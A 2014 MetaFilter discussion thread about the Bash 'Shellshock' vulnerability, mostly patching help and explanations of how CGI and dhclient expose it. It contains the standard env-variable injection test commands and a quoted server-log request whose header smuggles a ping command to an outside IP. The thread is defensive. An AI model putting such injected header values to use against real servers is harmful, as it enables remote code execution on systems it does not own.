Running a server? Drop everything and update it now!
September 24, 2014 7:06 PM   Subscribe

Bash software bug may pose bigger threat than Heartbleed.

Tod Beardsley, an engineering manager at cyber security firm Rapid7, warned that the bug was rated a “10” for severity, meaning it has maximum impact, and rated “low” for complexity of exploitation, meaning it is relatively easy for hackers to launch attacks.

You can test for yourself by executing the following:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Upgrade to the lastest version of bash now. On Ubuntu:

sudo apt-get update && sudo apt-get upgrade

or if you just want to update bash:

sudo apt-get update && sudo apt-get install --only-upgrade bash

Relevant Hacker News thread.
posted by furtive (182 comments total) 41 users marked this as a favorite
 
holy fuck.
posted by and they trembled before her fury at 7:19 PM on September 24, 2014


Woops
posted by Windopaene at 7:21 PM on September 24, 2014


I hope no websites I love get all of their shit deleted because of this bug + some renegade deletion jerko injection bot.

Security is hard vigilance, you guys.
posted by oceanjesse at 7:25 PM on September 24, 2014 [1 favorite]


The real 'oh-shit' moment is that CGI uses /bin/sh. If your /bin/sh symlinks to /bin/bash, well, you're gonna have a bad day. Fortunately most of the embedded crap on the market uses busybox sh, and Debian/Ubuntu moved to symlinking to /bin/dash ages ago, so on the numbers affected scale, I consider this less bad than Heartbleed.
posted by pwnguin at 7:28 PM on September 24, 2014 [6 favorites]


still, I had three net-facing boxes to update because of this.
posted by jepler at 7:30 PM on September 24, 2014


Also, Bash is the default on Mac, right? Not that I host anything on my laptop, but how the hell would I upgrade this?
posted by oceanjesse at 7:30 PM on September 24, 2014 [2 favorites]


It's hard to imagine a situation where you could execute code as a user you don't already control unless /bin/sh is symlinked to bash.
posted by Phssthpok at 7:32 PM on September 24, 2014


Whoa, thanks to this I found out I had security updates turned off on my laptop for some reason... whoops. Not responsible for any servers myself (thank goodness), but thanks, MeFi!
posted by Mister Cheese at 7:33 PM on September 24, 2014


sudo apt-get update && sudo apt-get upgrade

Here's the hell of it. Chron job, you say?

You're fired! My boss would say.

Here's why.

So, zero day. It sucks.
posted by Slap*Happy at 7:39 PM on September 24, 2014


It's looking like the patch is incomplete. See Tavis's post here.

Here's your easy reverse shell. Should give you an idea about exploitability. Also easy enough to test your own CGI scripts. Note, if it isn't obvious, running this against some box you don't own is illegal.

Here's your rough google search that gives an upper bound on public facing sites (~40 million). Not all of these are vulnerable, but a lot are depending on their script setup. Additional, any service that you have a confined shell on (i.e. github, other things that run on top of ssh) are affected. Here's a good writeup on more specifically what's affected.

So yeah, a lot of boxes are going to get popped with this. This post is also fairly late, comparatively speaking. /0 scans started hours ago for this bug, so if you run public facing servers and this is how you're being informed, subscribe to your distros security mailing list and look for signs of compromise along with upgrading.

For people not running externally facing servers (i.e. home laptops) the exploit vectors are currently limited. Considering the ubiquity of ENV vars however, this will likely affect most people somehow, eventually. For example, on some setups dhclient calls shell scripts, meaning a rogue dhcp server (i.e. in a public area) could get code exec. There is no evidence this is currently happening but upgrading should be a priority.
posted by yeahwhatever at 7:41 PM on September 24, 2014 [12 favorites]


I'm pretty sure I have /bin/sh symlinked to bash after I decided to be a private hipster and use ZSH last year, but changed my mind a few hours later. Question is, what do I do about it? Wait for Apple to save the day? Is there a homebrew package or something I could use? I feel like I am competent enough to know that this is a shitty thing that could affect me and my setup, but not competent enough to know what to do about it.
posted by oceanjesse at 7:48 PM on September 24, 2014 [1 favorite]


sorry if techsupportfilter is barred and delete this post if so, but i am an idiot babby childe with linux and i have a cheapo vps i use to host a vpn and a couple of little things; it runs debian 6, the test in the OP tells me i'm vulnerable; when i use

sudo apt-get update && sudo apt-get install --only-upgrade bash

it spits out:

Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
bash : PreDepends: libtinfo5 but it is not installable
Recommends: bash-completion (>= 20060301-0) but it is not going to be installed
E: Broken packages


i suspect it may have something to do with using debian 6 and not 7 but i'd really rather not have to set up a fresh install and migrate everything; am i missing something obvious? i really know very little about linux
posted by p3on at 7:50 PM on September 24, 2014


FWIW, Ubuntu is not necessarily affected as it uses dash by default. Anyone using an RPM based distribution can just do a "yum update" to get the fix.

Apple has yet to do anything about the problem, but you can manually patch your OS X boxes if you are worried.
posted by Poldo at 7:50 PM on September 24, 2014 [7 favorites]


One of my current duties is to retrofit ancient e-commerce sites (as in running IIS on Win2003 ancient, or Red Hat revs that still support Sun SPARCstations) to be PCI compliant. The vendors I use tend to be rabidly pro-active in pushing out threat signatures, but I will have a sleepless night checking the sig updates, and calling people to put up a "temporarily down for maintenance" page in place of their site.
posted by Slap*Happy at 7:51 PM on September 24, 2014 [3 favorites]


my /bin/sh links to msh.
posted by symbioid at 7:52 PM on September 24, 2014


p3on, remove the "-only-upgrade bash" option and try again. You should always install all the available updates unless you have a specific reason not to.
posted by Poldo at 7:53 PM on September 24, 2014 [1 favorite]


If you're an old codger like me and use Slackware for your server OS, slackpkg doesn't have a new package yet (at least for the version I'm running), but here's the Bash replacement packages for installing with upgradepkg. A successfully fixed Bash appears to respond thusly

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test


when running the vulnerability test shown above. As someone who has been fighting with backdoors installed via insecure Wordpress plugins for the past six months, I'm glad this is an easy fix...or at least seems so for now. Now I'm off to patch the other three servers....
posted by AzraelBrown at 7:54 PM on September 24, 2014


Poldo, thanks, but i tried that initially and didn't see bash in the list of updated packages so i tried to force it
posted by p3on at 7:56 PM on September 24, 2014


p3on:
Am looking at updating a couple Debian 6 boxes right now.
No patch available that I can see...

Debian bulletin says patched
for current stable (7) release.

Personal list of packages to be updated after apt-get update && apt-get upgrade does not include bash for Debian 6.
YMMV. Would appreciate any feedback on this, as my night may suddenly be nowhere near over.
posted by bastionofsanity at 7:58 PM on September 24, 2014


Hah! My employer's stubborn insistence* on trying to run Drupal sites on Windows Server in the face of constant minor annoyances pays off!

* Not specifically over security concerns. Something closer to inertia.

Of course, we also have plenty of small sites on assorted shared LAMP hosting, so I suspect there are going to be a few support calls in my immediate future.
posted by figurant at 7:59 PM on September 24, 2014 [3 favorites]


ah jeez i think i added a debian 7 repository to my sources.list which is why it's spitting out the error; i took it off and now it just says i have the newest version, so i guess there just isn't a patched version on the official repository?

i told you i am a bumbling child
posted by p3on at 8:01 PM on September 24, 2014


p3on, I think you are going to have to upgrade to wheezy (highly recommended) or switch to the "6-lts" release:

https://wiki.debian.org/LTS/Using
posted by Poldo at 8:06 PM on September 24, 2014 [1 favorite]


But I've already installed everything from Microsoft patch Tuesday.
posted by charred husk at 8:09 PM on September 24, 2014 [2 favorites]


Poldo, thanks, i think i actually figured it out just as you posted that; i added the lts repositories, updated bash, and now the test spits out this:

p3on@serv:~# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test


so hey it doesn't say vulnerable anymore woo
posted by p3on at 8:10 PM on September 24, 2014 [1 favorite]


Hi, sorry for the noob question. Our lab uses Macs, which means that we have bash. We don't run websites from the computers, but we do use the built-in "Connect to Server..." function (AppleShare?) all the time. Are we vulnerable? What should we do?
posted by tickingclock at 8:13 PM on September 24, 2014 [1 favorite]


I read about this earlier today and couldn't figure out if it applied to perl CGI scripts that might occasionally use system(). I reckon system() invokes /bin/sh (depending on how it's used), which might actually be bash now, so maybe?
posted by uosuaq at 8:17 PM on September 24, 2014


p3on, don't be happy yet. The fix was not complete. Try:
env X='() { (a)=>\' bash -c "echo date"; cat echo
posted by TheNewWazoo at 8:24 PM on September 24, 2014 [2 favorites]


We're crazy enough in this household to have more than one Mac and Xcode running on most of them. We followed the instructions on the Stackexchange page that Poldo linked to, and it works.
posted by ardgedee at 8:27 PM on September 24, 2014 [2 favorites]


Thanks, Poldo!!
posted by oceanjesse at 8:30 PM on September 24, 2014


TheNewWazoo,

p3on@serv:~# env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Wed Sep 24 23:29:22 EDT 2014


does spitting out the time mean i'm screwed? and if so, is there anything to be done besides sit around waiting for another patch?
posted by p3on at 8:30 PM on September 24, 2014


p3on, if I'm following (and I am getting the results you are), the critical 'success' line is:

bash: error importing function definition for `X'

because `X' is not supposed to be a function.
posted by jet_silver at 8:36 PM on September 24, 2014 [1 favorite]


LOLDaddy
posted by Jimbob at 8:43 PM on September 24, 2014 [7 favorites]


You're incorrect. The problem is that the date code was run, and it shouldn't be.
posted by yeahwhatever at 8:44 PM on September 24, 2014


The problem is that the date code was run, and it shouldn't be.

So I'm running Ubuntu 14.04, I still have the vulnerability according to that, and apt-get tells me I'm already running the latest bash version when I try the update method above. So am I screwed, or what?
posted by Jimbob at 8:47 PM on September 24, 2014 [1 favorite]


wasn't getting any joy for debian wheezy with rackspace's repos, not sure why, so I did
wget http://incoming.debian.org/debian-buildd/pool/main/b/bash/bash_4.2+dfsg-0.1+deb7u1_amd64.deb
dpkg --install ./bash_4.2+dfsg-0.1+deb7u1_amd64.deb
Yes there are two d's in buildd, like "upgrayedd" in Idiocracy.

My RHEL box's vendor had it together so that was an easy yum upgrade
Apple?

ON EDIT: the debian fix did not end up working, RHEL did (I think)
posted by drowsy at 8:48 PM on September 24, 2014 [1 favorite]


Yes, you're screwed. There will be another patch released soon. It's entirely possible that the next one will also have problems. That's what Zalewski means about the parser being brittle. It will likely have to be rewritten. There is not currently available a patch which entirely mitigates this issue.

The important question is if you're running any public facing cgi-bin scripts, or php/python/etc scripts which call system()/popen()/etc. See the redhat link I posted above.
posted by yeahwhatever at 8:51 PM on September 24, 2014 [2 favorites]


sudo apt-get remove bash [finger hangs over the enter key]
posted by Jimbob at 8:56 PM on September 24, 2014 [5 favorites]


The stack exchange fix got us the first patch, so we're at the same level as everyone else. I'm waiting on the second patch.

tickingclock, you should probably upgrade them. You can follow the stack exchange instructions and copy the binaries instead of redownloading and rebuilding on each mac. If the users turn on file sharing or web sharing, you might become vulnerable.
posted by Mad_Carew at 8:58 PM on September 24, 2014


They're calling this "Shellshock." Well, the name Heartbleed certainly helped raise awareness of that issue, so I guess I support trendy names as long as they work.
posted by miyabo at 8:59 PM on September 24, 2014 [1 favorite]


...

Wow. yeah. So... this is a nasty bug.

Now I don't feel so bad about being an unemployed *nix Admin.

I shall drink Vodka in solidarity.
posted by PROD_TPSL at 9:00 PM on September 24, 2014 [9 favorites]


So, I've updated what I can update with the partial fix, and am waiting for more complete fixes (and in one case, for the ability to update Bash at all). After fully updating -- whenever that will be possible -- how can I check whether I've been infected by something in the meantime? The only antivirus/antimalware/anticrap crap I know of is Windows-based.
posted by Flunkie at 9:04 PM on September 24, 2014


Now I don't feel so bad about being an unemployed *nix Admin.

See the problem is, it's not just actual "*nix Admins" dealing with this. Everyone and their dog has a Linux VPS sitting around somewhere these days. I'm a scientist, an ecologist. I've got a number of virtual machines running on various platforms running simulations, producing maps and graphs, collating data from various sources, serving web utilities for my students. I'm lucky that, in a previous life, I was a fairly half-assed *nix admin of sort, and I've been using Linux for years. Most of the people I work with aren't so lucky, and they probably won't even be aware this is going on. And they don't have a *nix admin who can log into their virtual machines and fix this for them.
posted by Jimbob at 9:05 PM on September 24, 2014 [9 favorites]


Indeed, Jimbob. I was being glib. I am a vodka or two in to my evening.

This is a rather serious matter. Time to help in any way I can.
posted by PROD_TPSL at 9:13 PM on September 24, 2014 [3 favorites]


Not all Debian architectures have this fix yet (at least not on testing). Maybe by morning.
posted by one more dead town's last parade at 9:18 PM on September 24, 2014


I'm not sure what the vulnerability here is. So this allows you to run arbitrary shell code by injecting it into the environment somehow before bash is called? Just how many servers are set up to execute cgi through bash? That just seems really backwards to me.

What are the other attack vectors here besides badly configured cgi setups?
posted by heathkit at 9:19 PM on September 24, 2014


Not all Debian architectures have this fix yet

Considering that the fix is not complete, it would be more accurate to say that no architecture has a fix yet.
posted by eye of newt at 9:22 PM on September 24, 2014


I'm not sure what the vulnerability here is. So this allows you to run arbitrary shell code by injecting it into the environment somehow before bash is called?

Yeah. If you include commands after the end of a function definition assigned to an environment variable, bash will helpfully execute them when a (sub-)shell with that environment is invoked.

Just how many servers are set up to execute cgi through bash? That just seems really backwards to me.

A lot, apparently! The reporting on this is needlessly confusing and alarmist, though.
posted by junco at 9:23 PM on September 24, 2014


According to the NVD, a new CVE was issued as the initial patch has NOT been effective.

CVE-2014-7169
posted by PROD_TPSL at 9:27 PM on September 24, 2014 [1 favorite]


Considering that the fix is not complete, it would be more accurate to say that no architecture has a fix yet.

Yeah, it's late and I'm tired. I meant that some architectures have not so much as updated bash tonight. (Although now it looks to me like none of them have updated.)
posted by one more dead town's last parade at 9:29 PM on September 24, 2014


i have zero knowledge about, basically, computers. is this a server-only problem? or should i plug that test line into the termnal on my osx mac?
posted by Zerowensboring at 9:30 PM on September 24, 2014


Zerowensboring: "i have zero knowledge about, basically, computers. is this a server-only problem? or should i plug that test line into the termnal on my osx mac?"

If it's your desktop and nobody else can connect to it, I think you're fine.
posted by pwnguin at 9:35 PM on September 24, 2014


This is a difficult question to answer cleanly. Yes, your mac is vulnerable in that the version of bash it's running is vulnerable to this bug. However, bash is not usually exposed to to the outside world, so your risk of exploitation is fairly low/nonexistent. It's recommended that you upgrade, but it's only currently a "shut everything down" type problem for a specific type of server. Maybe avoid dodgy public wifi for a day or two until it's fixed.

For those that were looking for mitigations, see here. This also explains some of the other possible infection mechanisms (restricted ssh, dhclient, cups, etc.)
posted by yeahwhatever at 9:37 PM on September 24, 2014 [1 favorite]


I'm hearing a lot of "Ubuntu isn't vulnerable because it uses dash rather than bash" claims around the place. Is this true? I don't think it can be - my Ubuntu systems certainly have bash installed. When I open a new window in byobo it's labelled as "bash".
posted by Jimbob at 9:38 PM on September 24, 2014


Considering that the fix is not complete, it would be more accurate to say that no architecture has a fix yet.

Yeah, it's late and I'm tired. I meant that some architectures have not so much as updated bash tonight. (Although now it looks to me like none of them have updated.)


I figured that's what you meant. I gave my reply because Linux Mint just a few minutes ago informed me of a new bash, which I installed, but which still fails TheNewWazoo's test above, so it looks like the fix coming out now isn't the complete fix.
posted by eye of newt at 9:45 PM on September 24, 2014


I'm really curious how long this has been vulnerable as-is. It's a relatively straightforward exploit. I dug through the thread on oss-sec and didn't see anything.

The bin/sh alias angle means that way more than just bash-the-prompt is vulnerable here. It's also more than servers since Android is vulnerable as well. Unless we luck out, this seems likely to turn into one of those SQL Slammer type things that never really disappears.
posted by feloniousmonk at 9:46 PM on September 24, 2014


Debian/ubuntu having dash as /bin/sh instead of bash mitigates some of the problems. To break it down a bit: there are scripts out there which do things like 'system("foo bar");' (just for example). system() is basically a wrapper around '/bin/sh foo bar'. If /bin/sh is linked to /bin/bash (as it is on some distros), and the attacker can control the environment for the system call, you're vulnerable. Debian doesn't meet the first condition.

However, if there were a script on Debian/Ubuntu that explicitly called /bin/bash (maybe the dhclient scripts or cups, I haven't looked) with an attacker controlled env, then you would be vulnerable. Bash being your chosen shell has little to do with your risk.

Is this clear enough?
posted by yeahwhatever at 9:46 PM on September 24, 2014 [3 favorites]


22 years old. Sorry, should I stop thread sitting?
posted by yeahwhatever at 9:47 PM on September 24, 2014


As this Vulnerability has been around for 22 years... it makes me wonder how long the acronym agencies and bureuas have been aware of it.
posted by PROD_TPSL at 9:53 PM on September 24, 2014 [4 favorites]


Most of the things that might call bash don't do so directly. They call the POSIX compliant path: /bin/sh. In the early days, /bin/sh was just symlinked to bash because it was installed by default, POSIX compliant, and had several extras above and beyond POSIX. Over time, other shells filled different niches. One of those niches is lightweight non-interactive shells, which dash fits into. The dash manpage states:
HISTORY
dash is a POSIX-compliant implementation of /bin/sh that aims to be as small as possible. dash is a direct descendant of the NetBSD version of ash (the Almquist SHell), ported to Linux in early 1997. It was renamed to dash in 2002.
It turns out that /bin/sh is called a LOT for various startup scripts, and starting new bash processes is somewhat slow. So Debian developers went on a warpath in 2009 or so to remove any reliance on bash specific behaviors ('bash-isms') from their scripts, so that they could default to using /bin/sh in Debian Lenny. Ubuntu, which forks Debian unstable every six months, inherits their work by default. A lot of inattentive people found out the hard way when they upgraded and their scripts stopped working.

But yes, if your application is silly enough to depend on bash and call it specifically, it may well be fucked. For example, if it was a lot of work, it was allowed that instead of removing bashisms, you simply made sure to explicitly call /bin/bash. So that loophole means we can't say for certain that nothing in Debian is affected, but it certainly narrows the attack. As is anyone else who decided to work around the bashisms problem by explicitly depending on bash.
posted by pwnguin at 9:56 PM on September 24, 2014 [4 favorites]


In the past I've seen a few commercial tools that require dash to be replaced by bash for their installation scripts to work on Ubuntu. I hope that's been fixed by now.
posted by monotreme at 10:06 PM on September 24, 2014


Okay that makes more sense and gives me some confidence my Ubuntu installs will survive the day. Everything "outward facing" is just default Ubuntu stuff, any weird things I've installed that might call /bin/bash unknowingly would not be net-facing, as far as I can recall.
posted by Jimbob at 10:06 PM on September 24, 2014


Remember that even the Debian/Ubuntu devs used the 'I'll just call bash anyways' as an out on occasion. It's not impossible that you'll wake up tomorrow and find out some poor Debian Developer made an unfortunate decisions years back on fixing bashisms vs explicitly calling bash, and that this ends up leaking into SSH or pgsql or some other service you're running.

So it would behoove you to upgrade bash, just in case.
posted by pwnguin at 10:15 PM on September 24, 2014 [1 favorite]


22 years old. Sorry, should I stop thread sitting?

What does that number have to do with competence? Please, continue to advise. I assure you, your input is invaluable.
posted by jet_silver at 10:34 PM on September 24, 2014


jet_silver, I believe that yeahwhatever was saying that the bug has existed for 22 years, not that he is 22 years old.
posted by Flunkie at 10:40 PM on September 24, 2014 [3 favorites]


What does that number have to do with competence? Please, continue to advise. I assure you, your input is invaluable.

I believe that refers to how long this exploit has been around. I'm seeing it date back to at least 1994, though it could be older. (This should rattle people on its own, much less everything else that's been revealed about it up to this point)
posted by CrystalDave at 10:41 PM on September 24, 2014


Either way. I don't care whether the bug is 22 years old or yeahwhatever is 22 years old. They're competent, they understand the problem in a way I do not and learning about that is the point, not how old the bug or yeahwhatever is. But that's just me, feel free to downvote.
posted by jet_silver at 10:46 PM on September 24, 2014


Either way. I don't care whether the bug is 22 years old or yeahwhatever is 22 years old. They're competent, they understand the problem in a way I do not and learning about that is the point, not how old the bug or yeahwhatever is.

Eh, you may not care how old the bug is, but some other people wanted to know ("I'm really curious how long this has been vulnerable as-is…").

But that's just me, feel free to downvote.

MeFi ≠ Reddit (or other sites with downvoting).
posted by JiBB at 10:53 PM on September 24, 2014 [3 favorites]


Even a scant two years ago the question upthread re: how long have the alphabet agencies known of this vulnerability would have been on its face both nonsense and unfathomable.

Now, post-Snowden, it would seem reasonable to think that this is no bug but one of possibly many long-since slyly-engineered intelligence-state features into our common communications and development software infrastructure.

Also, how many other 22-year old "bugs" does fixing this backdoor do nothing to remedy? 23-year old? 16?
posted by riverlife at 11:32 PM on September 24, 2014 [1 favorite]


The vuln being 22 years old, and the vuln being 22 years old, known about and not fixed are very different things. I assume the latter is the case.
posted by GallonOfAlan at 11:43 PM on September 24, 2014 [1 favorite]


Yeah to add to the dash/bash thing, a LOT of people who have Ubuntu machines and have installed proprietary drivers/third party software have already made a point of running the update-alternatives script to replace dash with bash, so that things will just work. I had it as job #1 on my unfuck-ubuntu.txt file for a long time until I went to RHEL variants.
posted by mcrandello at 11:44 PM on September 24, 2014


Sorted out my macbook. Thanks for posting this!

I used this stackexchange fix to update and recompile Bash.
posted by flippant at 11:45 PM on September 24, 2014 [1 favorite]


Now, post-Snowden, it would seem reasonable to think that this is no bug but one of possibly many long-since slyly-engineered intelligence-state features into our common communications and development software infrastructure.

Also, how many other 22-year old "bugs" does fixing this backdoor do nothing to remedy? 23-year old? 16?

Nah this is mostly a classic tragedy of string parsing and dealing with the very abstract process of writing code. Just as there is no deterministic way to know when any particular program will end (the halting problem) there is no way to know just how many vulnerabilities may exist in a piece of software, especially because it's dependent on so many other pieces of software developed by frail human beings.

These bugs are so easy to introduce inadvertently that there is no need for a conspiracy to create them (especially the kind that can be explained as human error programming issues, especially complex when you're writing code that runs other [typically compiled] code and has all sorts of tricks for making it easier to run code in various dynamic ways, as a POSIX shell sets out to do), but I would certainly agree that agencies perform assessments on these vulnerabilities and often do know about them first and keep them under wraps and I'm pretty sure that is public knowledge post-Snowden, though I don't have the energy to find a cite.

As far as deliberately-created vulnerabilities go, I wouldn't be surprised if there are some that were deliberately crafted to look like developer errors, but I think the majority are basically the result of the challenge of writing complex software and there's a wellspring of them everywhere -- the conspiracy really goes into developing a payload to accomplish whatever it is you need to do, and that payload has to be extremely sneaky about doing what it needs to do -- finding vulnerabilities to take advantage of for concealment purposes is harder than finding vulnerabilities that will actually allow you to introduce malicious code.

As a typical developer you make so many decisions and have to anticipate so many exceptions due to varying environments and the other code you depend on, there's seemingly a new order of magnitude of ways to hang yourself the more complex your system needs to be, and then simple text-parsing problems like these that involve interpreting human text formally written into code and interpreted by the computer have basically introduced the Post Buffer-Overflow era of getting screwed by code written by humans that interprets other code written by humans. That's just human nature all around, and most people who write popularly-used code aren't necessarily super-formal structured developers that think everything through, but they themselves build a "payload" (feature set) that flaws or not, meets enough needs for enough people to enjoy popularity despite decades of lingering unknown problems that lurk beneath. And then we build on top of that some more...
posted by aydeejones at 12:04 AM on September 25, 2014 [6 favorites]


In the past I've seen a few commercial tools that require dash to be replaced by bash for their installation scripts to work on Ubuntu. I hope that's been fixed by now.

Reminds me of business software in the Windows world that requires administrative privileges on the entire computer to run. Often the documentation might state "you must install this with administrative rights" but they really mean "install it and make sure every user of the application has administrative rights, because we're still living in Windows 98 land!" Realistically you can usually figure out what areas of the system the program needs permissions to modify and not grant excessive access to areas used by other applications or the OS, but sometimes they want full reign of the root of C: or some other ridiculous thing.

I wonder how many of these are so lumberingly complex but threatened by compliance (like PCI, GLB, HIPAA) that it'll just become easier to run them in virtual machines that are virtually firewalled away or running on separate virtual or physical networks...certainly it's already done and that's what some of that retrofitting mentioned earlier might entail. It's comical to imagine a VM running an Internet Explorer 6.0 ASP Classic Intranet application involving a million lines of business logic spread out over 5,000 files representing 20 years of business development intertwined with bad HTML, hardened up like a little slug in a Mechwarrior suit.
posted by aydeejones at 12:17 AM on September 25, 2014 [13 favorites]


When I read about this yesterday evening there were no updates for my Debian system yet. There are still no updates from Apple. I read it on a popular general Dutch news site, so I figured if it's there, it's big news already. I don't understand why the normal course of action isn't:

person finds bug in bash - person notifies bash maintainer - maintainer makes sure bug gets fixed and tested - maintainer makes sure distro's get access to patches - media gets notified.

I understand that sometimes this may not be possible or advisable, but apparently this bug went unnoticed for 22 years, so I'd think a few more days wouldn't matter and the repercussions of this are huge.
posted by blub at 2:18 AM on September 25, 2014


if they have shell access to my machine then I've already got problems bigger than this
The Hackernews thread (linked in the post) gives more info. The biggest problem is cgi scripts, but apparently ssh can be vulnerable too (see here).
posted by blub at 2:22 AM on September 25, 2014 [1 favorite]


Remember that even the Debian/Ubuntu devs used the 'I'll just call bash anyways' as an out on occasion. It's not impossible that you'll wake up tomorrow and find out some poor Debian Developer made an unfortunate decisions years back on fixing bashisms vs explicitly calling bash, and that this ends up leaking into SSH or pgsql or some other service you're running.

Case in point - /sbin/dhclient invokes /sbin/dhclient-script which is a bash script. Arguments to the script are passed via variables defined in the environment, some of which come directly from the dhcp server. If you can own a single machine on the network & spam dhcp request responses then you can use that to own every box on that network that gets it's IP address via dhcp using dhclient.

This means that connecting your laptop to an open wifi access point just got a whole lot hairier.
posted by pharm at 2:58 AM on September 25, 2014 [3 favorites]


> Even a scant two years ago the question upthread re: how long have the alphabet agencies known of this vulnerability would have been on its face both nonsense and unfathomable.

The term "backdoor" in the context of clandestine computer infiltration was coined in the 1960s. Ken Thompson's "Reflections on Trusting Trust" was presented in 1983. Lifelong surveillance and documentation of the general public was the Stasi's most significant accomplishment, begun in the late 1940s. Cyberpunks picked up the idea and made the relationships of the surveiller and surveilled a trope of their virtual world stories in the 1980s. cDc's Back Orifice generated a lot of public attention when it debuted in 1998, but there have been less highly hyped alternatives circulating for years before and in the years since.

So please don't fall into the "(9/11|Snowden) changed everything!" mentality. The acronyms of the agencies change. With changing technology comes evolving capabilities and scale. Revelations like Snowden's mostly serve to validate the speculations of well-informed people taking the matter seriously. The public shock is the general public being confronted with a problem of the technology they've assimilated.

During your lifetime, the problem of governments exploiting technology for increased control has always been taken seriously.
posted by at by at 3:25 AM on September 25, 2014 [9 favorites]


At least the vulnerability is old enough to drink vodka like a *nix sysadmin who is currently unemployed.

And it doesn't look a DAY over 19.

/shuts off servers because who has fucking time for this?
posted by spitbull at 4:45 AM on September 25, 2014 [5 favorites]


Is this where the zsh weirdos can come to post smug messages?
posted by clvrmnky at 5:34 AM on September 25, 2014 [3 favorites]


Is this where the zsh weirdos can come to post smug messages?

103.~> echo $SHELL
/usr/local/bin/zsh
P2) 104.~> env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 08:39:45 EDT 2014
105.~>
posted by Obscure Reference at 5:41 AM on September 25, 2014 [3 favorites]


Only if you know there are no scripts calling bash anywhere on your system.

FWIW I was even able to patch my old-ass PPC Mac Mini running 10.5, so the Mac patch instructions on StackExchange are good for pretty much anyone with an outward-facing Mac.
posted by caution live frogs at 5:42 AM on September 25, 2014 [2 favorites]


Um that is zsh calling bash. zsh doesn't have this vulnerability because it doesn't support bash's exportable function weirdness.

env X='() { (a)=>\' zsh -c "echo date"; cat echo
date
cat: echo: No such file or directory
posted by pixie at 6:01 AM on September 25, 2014 [3 favorites]


On Ubuntu, dhclient-script explicitly uses /bin/bash, even though it doesn't contain any obvious bashisms. Anyone know why?
posted by phooky at 6:07 AM on September 25, 2014


I haven't written it up yet, but I did have a quick look at ISC DHCP Client as used in Ubuntu ... it does use bash, but it appears to do the sensible thing with those variables ... rejecting them before passing to dhclient-script if they're not valid. So the situation for DHCP may not be as bad as it appears. A vulnerable dhclient would be very bad though.
posted by nickzoic at 6:12 AM on September 25, 2014


So, here's a dumb question from a non-programmer: I use a MacBook for Internet and Photoshop and Office. Had never heard of Bash until now, never once done anything command-line. Do I need to worry about this? If so, why?
posted by jbickers at 6:14 AM on September 25, 2014


This is what bugs like this mean to my current work life.

l I know what I'm going to be asked about when I go into work today or tomorrow. I'm the default computer problem person because I know the most about computers and have what many there consider the miraculous ability to use google to figure out things I don't know.
My boss refuses to get a proper IT person or at least have someone available on call to deal with problems that arise. The guy we do have regularly can't be reached or can never come in for days after something comes up. He also cost way more money then I make so my boss always want me to try to figure it out first. She doesn't seem to understand the concept that getting me to do things takes way longer then a specialist so she loses money on what I should be doing but oh well.

The office manager somehow is always know about the latest virus/bug news and asks me to look into it. I don't understand most of the comments in this thread so I already know that this is a call the outside computer guy situation. However what I'm currently working on is dull and boring so when they ask this should buy me a few hours of screwing around on the computer before I decree it's beyond me and to make the call. I'm over feeling bad about this because I only get paid minimum wage and it bugs the heck out of me that I'm expected to do IT things at that rate. In the past I've refused to do things that I know how to do just on principle.

I guess this comment is really only relevant in that I can thank Metafilter for providing the information that will allow me a few hours of fun at work today or tomorrow. I'm already deciding how I'm going to use the time.

Thanks all!
posted by Jalliah at 6:18 AM on September 25, 2014 [15 favorites]


jbickers: If you've turned on one of the services that OSX can run then that might expose you to external attack. The most likely vulnerable service is the internal web server, but even then that's only true if there's a cgi script around that can be exploited. Apart from that possibility there's nothing to suggest that a stock OSX install is vulnerable to this exploit.

In your position I would simply keep up with the OSX security patches & don't worry about this specific bug for the moment.
posted by pharm at 6:24 AM on September 25, 2014 [2 favorites]


I don't really understand the vulnerability (I'm certainly not saying there is not one - I realize that I'm ignorant and I'm hoping for an explanation). I understand that if I already have the ability to run a certain command in bash - a weirdly formatted env command - I can make bash interpret that env command in a way that it shouldn't, resulting in bash starting up a new bash which runs an arbitrary command of my choosing. But I have to already have the ability to run a bash command (the env command itself) in order to do this.

So I gather that the vulnerability is that things like mod_cgi give external people the ability to run a shell command on my machine. I guess either it itself is a shell script and Apache is running it when called, or maybe it starts up a shell script in order to run the requested CGI (as is probably clear, I am basically unfamiliar with mod_cgi). I imagine that there should be (and assumedly is) some parsing logic in mod_cgi to limit the acceptable commands that it will run, but this flaw gets past that parsing and is run anyway. Is that correct?

But (if so) why does mod_cgi allow external people to set an environment variable to their chosen value on my machine in the first place? Is there some valid reason for this? Or is part of the flaw that mod_cgi is allowing them to set an environment variable, let alone the fact that it's a nefariously formatted one?

And how would an external person actually cause mod_cgi to do this? Presumably by making an http request to my server, requesting some CGI, with something similar to the weird command that I've typed inside an actual command line interface to check that my server has the vulnerability? What would the request look like? Is the weird stuff in the URL (and for example what would the URL be)? Or is it in some POST variable or something (and again, what POST variable, and what would it be)?
posted by Flunkie at 6:30 AM on September 25, 2014 [1 favorite]


CGI works by passing all sorts of data as env variables, including the host parameter, the path requested, the browser user-agent etc.

This wouldn't normally be a problem and is just how CGI works.

The problem comes along because bash parses ANY variables to see if they start with a valid function definition and if so it both loads that function and then keeps on executing the rest of that variable as though it was code.
posted by pixie at 6:35 AM on September 25, 2014 [1 favorite]


Presumably by making an http request to my server, requesting some CGI
Or, I should say, requesting something that Apache interprets as a request for some CGI?
posted by Flunkie at 6:36 AM on September 25, 2014


Flunkie, here's something from my web server logs:
"GET / HTTP/1.0" 200 616 "() { :; }; ping -c 11 209.126.230.74"
(this from a full ipv4 netblock scan being run by a security researcher). If my web server had been serving its homepage from a cgi script that invoked bash anywhere at all, at any point during the construction of the homepage, the consequence would have been a series of pings to the researcher's server. If you can run ping, you can run almost anything you like, including downloading a rootkit & going to town on the local server.
posted by pharm at 6:39 AM on September 25, 2014 [5 favorites]


